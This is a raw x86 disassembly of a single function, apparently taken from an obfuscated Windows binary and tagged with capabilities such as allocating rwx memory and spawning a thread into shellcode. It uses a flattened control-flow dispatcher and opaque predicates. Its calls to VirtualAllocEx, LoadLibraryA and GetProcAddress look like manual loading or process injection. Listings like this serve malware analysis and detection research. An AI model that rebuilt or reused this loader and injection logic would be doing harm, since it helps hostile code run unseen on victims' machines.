Function at 0x40ee10
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x1dc
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1dc], eax
mov eax, dword [0x52d080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1d4], 0x52f00e11
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x1e0], eax
sub eax, 0x81671981
je 0x41062d
jmp 0x40ee54
mov eax, dword [ebp - 0x1e0]
sub eax, 0x81f4ab2a
je 0x412589
jmp 0x40ee6a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x81f58358
je 0x40fff0
jmp 0x40ee80
mov eax, dword [ebp - 0x1e0]
sub eax, 0x82bf7d6b
je 0x41126d
jmp 0x40ee96
mov eax, dword [ebp - 0x1e0]
sub eax, 0x83b29cf1
je 0x4101fc
jmp 0x40eeac
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8aac10eb
je 0x410d35
jmp 0x40eec2
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8c628b11
je 0x410bf8
jmp 0x40eed8
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8d4c862f
je 0x410053
jmp 0x40eeee
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8e6865e5
je 0x411da8
jmp 0x40ef04
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8ecce68d
je 0x411e9b
jmp 0x40ef1a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x90e435ad
je 0x412744
jmp 0x40ef30
mov eax, dword [ebp - 0x1e0]
sub eax, 0x92084a14
je 0x411a51
jmp 0x40ef46
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9296bfc9
je 0x411853
jmp 0x40ef5c
mov eax, dword [ebp - 0x1e0]
sub eax, 0x92a4857b
je 0x410343
jmp 0x40ef72
mov eax, dword [ebp - 0x1e0]
sub eax, 0x96c9e9ab
je 0x41112c
jmp 0x40ef88
mov eax, dword [ebp - 0x1e0]
sub eax, 0x97167a4d
je 0x410e5e
jmp 0x40ef9e
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9aef363c
je 0x411610
jmp 0x40efb4
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9b095bd7
je 0x412507
jmp 0x40efca
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9b770105
je 0x41036d
jmp 0x40efe0
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9bfda381
je 0x410503
jmp 0x40eff6
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9e19ae40
je 0x4112be
jmp 0x40f00c
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9f72c0f4
je 0x4108bf
jmp 0x40f022
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa108ab64
je 0x41265b
jmp 0x40f038
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa1331393
je 0x411f29
jmp 0x40f04e
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa5fd8c22
je 0x410bab
jmp 0x40f064
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa8801741
je 0x4101b1
jmp 0x40f07a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa89b1476
je 0x410470
jmp 0x40f090
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa8cb2c8a
je 0x4117ea
jmp 0x40f0a6
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa8fb4435
je 0x411eff
jmp 0x40f0bc
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa8ff90c9
je 0x4105a0
jmp 0x40f0d2
mov eax, dword [ebp - 0x1e0]
sub eax, 0xaa3604a1
je 0x410334
jmp 0x40f0e8
mov eax, dword [ebp - 0x1e0]
sub eax, 0xab20e9eb
je 0x410daa
jmp 0x40f0fe
mov eax, dword [ebp - 0x1e0]
sub eax, 0xac673157
je 0x411ad6
jmp 0x40f114
mov eax, dword [ebp - 0x1e0]
sub eax, 0xaca26d96
je 0x41155f
jmp 0x40f12a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xae558b50
je 0x41027f
jmp 0x40f140
mov eax, dword [ebp - 0x1e0]
sub eax, 0xaef08336
je 0x411d00
jmp 0x40f156
mov eax, dword [ebp - 0x1e0]
sub eax, 0xaf3b88d2
je 0x411f7a
jmp 0x40f16c
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb008f2c1
je 0x411719
jmp 0x40f182
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb0ffa822
je 0x410f3f
jmp 0x40f198
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb1ad2f9c
je 0x4127b0
jmp 0x40f1ae
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb2e3caff
je 0x411686
jmp 0x40f1c4
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb408baa3
je 0x4121e0
jmp 0x40f1da
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb5b21527
je 0x410a62
jmp 0x40f1f0
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb94b0121
je 0x4125a4
jmp 0x40f206
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb9eb2756
je 0x4126ab
jmp 0x40f21c
mov eax, dword [ebp - 0x1e0]
sub eax, 0xba6f9898
je 0x410a91
jmp 0x40f232
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbc0b5007
je 0x410e9e
jmp 0x40f248
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc13fb8c7
je 0x41052a
jmp 0x40f25e
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc4283daa
je 0x41270c
jmp 0x40f274
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc5674349
je 0x4123ec
jmp 0x40f28a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc603974a
je 0x411c14
jmp 0x40f2a0
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc7406727
je 0x411fe9
jmp 0x40f2b6
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc7b3f21e
je 0x4125f6
jmp 0x40f2cc
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc8e431a3
je 0x40ffc5
jmp 0x40f2e2
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc8e89b76
je 0x4100f2
jmp 0x40f2f8
mov eax, dword [ebp - 0x1e0]
sub eax, 0xca13c3df
je 0x410009
jmp 0x40f30e
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcd0b3f72
je 0x41276e
jmp 0x40f324
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcee6c9c3
je 0x410799
jmp 0x40f33a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd10fb875
je 0x410bba
jmp 0x40f350
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd4283033
je 0x4126fd
jmp 0x40f366
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd51a0395
je 0x41170a
jmp 0x40f37c
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd5712f06
je 0x410b9c
jmp 0x40f392
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd626c20f
je 0x410b07
jmp 0x40f3a8
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd8d860da
je 0x4109ba
jmp 0x40f3be
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd9af27d6
je 0x411fcb
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x144], eax
mov eax, 0xca13c3df
mov ecx, 0x81f58358
cmp dword [ebp - 0x64], 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0x8d4c862f
mov dword [ebp - 0x1d8], 0
jmp 0x4127ba
mov eax, dword [ebp - 0x1ac]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x1d4], 0x144bdf58
jmp 0x4127ba
mov ecx, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x144]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1b0], eax
mov eax, 0x83b29cf1
mov ecx, 0x6c2b5bdd
cmp dword [ebp - 0x64], 0
cmove eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x1ac]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x134], eax
mov eax, dword [0x52e53c]
mov ecx, dword [0x52e538]
mov edx, eax
add edx, 0x1fe485b6
sub edx, 1
sub edx, 0x1fe485b6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x643d28a3
mov ecx, 0x16373c29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 0x1d4], 0x83b29cf1
jmp 0x4127ba
mov ecx, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1a4]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041d8b0
add esp, 0xc
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x1d4], 0x2eaa4cb1
jmp 0x4127ba
mov eax, dword [0x52e53c]
mov ecx, dword [0x52e538]
mov edx, eax
sub edx, 0xcfc6ed08
sub edx, 1
add edx, 0xcfc6ed08
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf146d166
mov ecx, 0x27d9e0da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0x92a4857b
jmp 0x4127ba
mov eax, dword [ebp - 0x124]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0x128]
mov eax, 0x1e3e706d
mov ecx, 0x9b770105
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x1b8]
imul edx, dword [ebp - 0x1bc], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
add eax, 0xbd5403b1
add eax, ecx
sub eax, 0xbd5403b1
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x1d4], 0xec30fa31
jmp 0x4127ba
mov eax, dword [ebp - 0x114]
mov esi, dword [eax + 0x1c]
mov edx, dword [ebp - 0x118]
mov eax, 0x4da2f808
mov ecx, 0x4732bae8
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0x68]
add eax, 4
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x1d4], 0xc13fb8c7
jmp 0x4127ba
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
sub edx, 0x594570b4
sub edx, 1
add edx, 0x594570b4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1aae4a07
mov ecx, 0xa8ff90c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10c]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x101], al
mov eax, dword [0x52e53c]
mov ecx, dword [0x52e538]
mov edx, eax
add edx, 0x277835a8
sub edx, 1
sub edx, 0x277835a8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1aae4a07
mov ecx, 0x78a65478
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x1c4]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1c4]
mov eax, dword [eax + 4]
xor ecx, ecx
sub ecx, 8
add eax, ecx
shr eax, 1
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1c4]
sub eax, 0x21fef98b
add eax, 8
add eax, 0x21fef98b
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x1d4], 0xee60263b
jmp 0x4127ba
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
sub edx, 0x9e9233dd
sub edx, 1
add edx, 0x9e9233dd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x81f4ab2a
mov ecx, 0x593764be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov ax, word [eax]
mov word [ebp - 0xf2], ax
mov dword [ebp - 0x1d4], 0x3c6293e2
jmp 0x4127ba
mov eax, dword [0x52e53c]
mov ecx, dword [0x52e538]
mov edx, eax
add edx, 0x56f225ae
sub edx, 1
sub edx, 0x56f225ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb94b0121
mov ecx, 0x4610468e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0x76ace489
jmp 0x4127ba
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
add edx, 0x84bb22b7
sub edx, 1
sub edx, 0x84bb22b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3fe37768
mov ecx, 0xd626c20f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax]
sub ecx, 0x53621344
add ecx, 1
add ecx, 0x53621344
mov eax, dword [ebp - 0x198]
mov dword [eax], ecx
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
add edx, 0x5377efde
sub edx, 1
sub edx, 0x5377efde
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3fe37768
mov ecx, 0xd5712f06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0xa5fd8c22
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0x4ec7f5ef
jmp 0x4127ba
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x1c8]
add eax, 0x65b104b3
add eax, ecx
sub eax, 0x65b104b3
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1d4], 0x8c628b11
jmp 0x4127ba
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0x1d4], 0x9bfda381
jmp 0x4127ba
mov eax, dword [ebp - 0x194]
mov eax, dword [eax]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x1d4], 0x1ca8302e
jmp 0x4127ba
mov eax, dword [ebp - 0x190]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd4]
imul ecx, ecx, 0x14
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xd8]
add ecx, 0xf554f299
add ecx, eax
sub ecx, 0xf554f299
mov eax, dword [ebp - 0x18c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov edx, dword [ebp - 0x188]
mov eax, 0x311aa355
mov ecx, 0x63c67cd3
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0xd0]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov dword [eax], 0
mov dword [ebp - 0x1d4], 0xbc0b5007
jmp 0x4127ba
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x180]
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x1d4], 0xe33dcf0
jmp 0x4127ba
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
cmp dword [eax + ecx*4], 0
setne al
and al, 1
mov byte [ebp - 0xbd], al
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
sub edx, 0xeaaec791
sub edx, 1
add edx, 0xeaaec791
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc7b3f21e
mov ecx, 0xf40fd833
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0xbc]
movzx eax, ax
mov ecx, dword [ebp - 0x188]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov edx, dword [ebp - 0x178]
mov eax, 0x76da2892
mov ecx, 0xd9dbab4c
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [0x52e53c]
mov ecx, dword [0x52e538]
mov edx, eax
sub edx, 0x9ddf64ff
sub edx, 1
add edx, 0x9ddf64ff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x54d5859
mov ecx, 0x9e19ae40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
sub edx, 0x632e91c8
sub edx, 1
add edx, 0x632e91c8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x54d5859
mov ecx, 0x3d852f1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
add edx, 0x6596b5d2
sub edx, 1
sub edx, 0x6596b5d2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd4283033
mov ecx, 0x361ebefb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
sub edx, 0x42411935
sub edx, 1
add edx, 0x42411935
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc4283daa
mov ecx, 0xb2e3caff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0xb0]
mov dword [eax], ecx
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
add edx, 0x9c939714
sub edx, 1
sub edx, 0x9c939714
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc4283daa
mov ecx, 0xd51a0395
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0x8aac10eb
jmp 0x4127ba
mov eax, dword [ebp - 0x170]
mov dword [eax], 0
mov dword [ebp - 0x1d4], 0x63467ac8
jmp 0x4127ba
mov eax, dword [ebp - 0x16c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x52e53c]
mov ecx, dword [0x52e538]
mov edx, eax
add edx, 0xa59ad0a0
sub edx, 1
sub edx, 0xa59ad0a0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda14294e
mov ecx, 0x9296bfc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0xe3f1ac81
jmp 0x4127ba
mov dl, byte [ebp - 0x99]
mov eax, 0xe35ee711
mov ecx, 0x4e6ab6a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
mov edx, ecx
add edx, 0x889d4f2d
sub edx, 1
sub edx, 0x889d4f2d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x14384de8
mov ecx, 0x4f3dac44
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0xc7406727
jmp 0x4127ba
mov edx, dword [ebp - 0x90]
mov eax, 0x8ecce68d
mov ecx, 0x18677bd9
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov ecx, dword [0x52e53c]
mov eax, dword [0x52e538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xece1fde4
mov ecx, 0x374280c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xf755c118
or eax, edx
or ecx, 0xf755c118
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x1d4], 0x76886ce9
jmp 0x4127ba
mov eax, dword [ebp - 0x16c]
mov dword [eax], 2
mov dword [ebp - 0x1d4], 0x75c065d2
jmp 0x4127ba
mov eax, dword [0x52e53c]
mov ecx, dword [0x52e538]
mov edx, eax
sub edx, 0xe1131081
sub edx, 1
add edx, 0xe1131081
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x338a0ba
mov ecx, 0xaf3b88d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov eax, dword [0x52e53c]
mov ecx, dword [0x52e538]
mov edx, eax
sub edx, 0x6fd93205
sub edx, 1
add edx, 0x6fd93205
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x338a0ba
mov ecx, 0xd9af27d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4127ba
mov dword [ebp - 0x1d4], 0x1ef48d8c
jmp 0x4127ba
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x14c]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x154]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x1d4], 0x3b343039
jmp 0x4127ba
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1a0], 0
mov dword [ebp - 0x1d4], 0x3960ef04
jmp 0x4127ba
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1e4], eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041ca60
mov eax, dword [ebp - 0x1e4]
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x1d4], 0x593764be
jmp 0x4127ba
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1d4], 0x4610468e
jmp 0x4127ba
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x1d4], 0xb0ffa822
jmp 0x4127ba
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x1d4], 0x44aaedce
